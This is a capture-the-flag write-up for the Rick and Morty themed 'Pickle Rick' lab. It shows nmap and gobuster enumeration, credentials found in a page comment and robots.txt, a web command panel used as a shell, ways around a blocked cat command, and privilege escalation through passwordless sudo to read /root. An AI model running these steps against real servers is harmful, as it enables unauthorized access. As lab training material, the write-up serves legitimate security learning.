Pickle Rick Writeup

Overview

This Rick and Morty themed challenge requires you to exploit a webserver to find 3 ingredients that will help Rick make his potion to transform himself back into a human from a pickle.

Enumeration

The first step in any penetration testing engagement is thorough reconnaissance and enumeration.

sudo nmap  -A -T 4 -v -oN scan_results

The Nmap scan reveals an Apache web server running on port 80.

Exploring the Website

Navigating to the website (http://:80) shows a Rick and Morty themed page with a portal gun image.

Checking the page source reveals a username comment:

Directory Bruteforcing

Using Gobuster to enumerate directories and files:

gobuster dir -u  -x php,html,css,js,txt,pdf -w 

This reveals hidden directories and files:

• login.php
• portal.php
• robots.txt

Accessing the Portal

The robots.txt file contains:

Wubbalubbadubdub

This appears to be a password. Testing the portal.php login form with:

• Username: R1ckRul3s
• Password: Wubbalubbadubdub

Successfully logs in and reveals a command panel - essentially a web shell for executing Linux commands.

Command Panel Exploitation

The command panel allows execution of Linux commands. Testing with:

ls -la

Reveals files in current directory, including:

• Sup3rS3cretPickl3Ingred.txt
• clue.txt

Note: The cat command is blocked, so alternative methods are needed.

First Ingredient

To read the first ingredient file without using cat:

less Sup3rS3cretPickl3Ingred.txt

OR

tac Sup3rS3cretPickl3Ingred.txt

OR

grep . Sup3rS3cretPickl3Ingred.txt

Second Ingredient

Reading the clue.txt file:

less clue.txt

Gives hint to "look around the file system". Checking /home directory:

ls /home

Reveals rick and ubuntu users. Exploring rick's directory:

ls /home/rick

Finds file named "second ingredients". Reading it:

tac "/home/rick/second ingredients"

Privilege Escalation

Current user is www-data. Checking sudo privileges:

sudo -l

Reveals www-data can run any command as root without a password! Listing root directory:

sudo ls /root

Finds 3rd.txt. Reading the file:

sudo less /root/3rd.txt

Final Answers

What is the first ingredient Rick needs?

What's the second ingredient Rick needs?

What's the final ingredient Rick needs?

Lessons Learned

• Always perform thorough enumeration using tools like Nmap and Gobuster
• Check page source code for hidden information and usernames
• Robots.txt files can contain passwords or hidden directories
• Test simple username/password combinations when found
• Web shells can provide command execution capabilities
• Alternative commands exist when common ones like 'cat' are blocked
• Files outside web root may contain sensitive information
• Sudo misconfigurations can lead to privilege escalation
• Always check /home directories for user-specific files
• Root flags typically require privilege escalation

Tools Used

• Nmap - Network scanning and service discovery
• Gobuster - Directory and file enumeration
• Browser Developer Tools - Source code inspection
• Web Browser - Website navigation and testing
• Linux Terminal - Command execution and file manipulation
• Text Editors - Reading files and analysis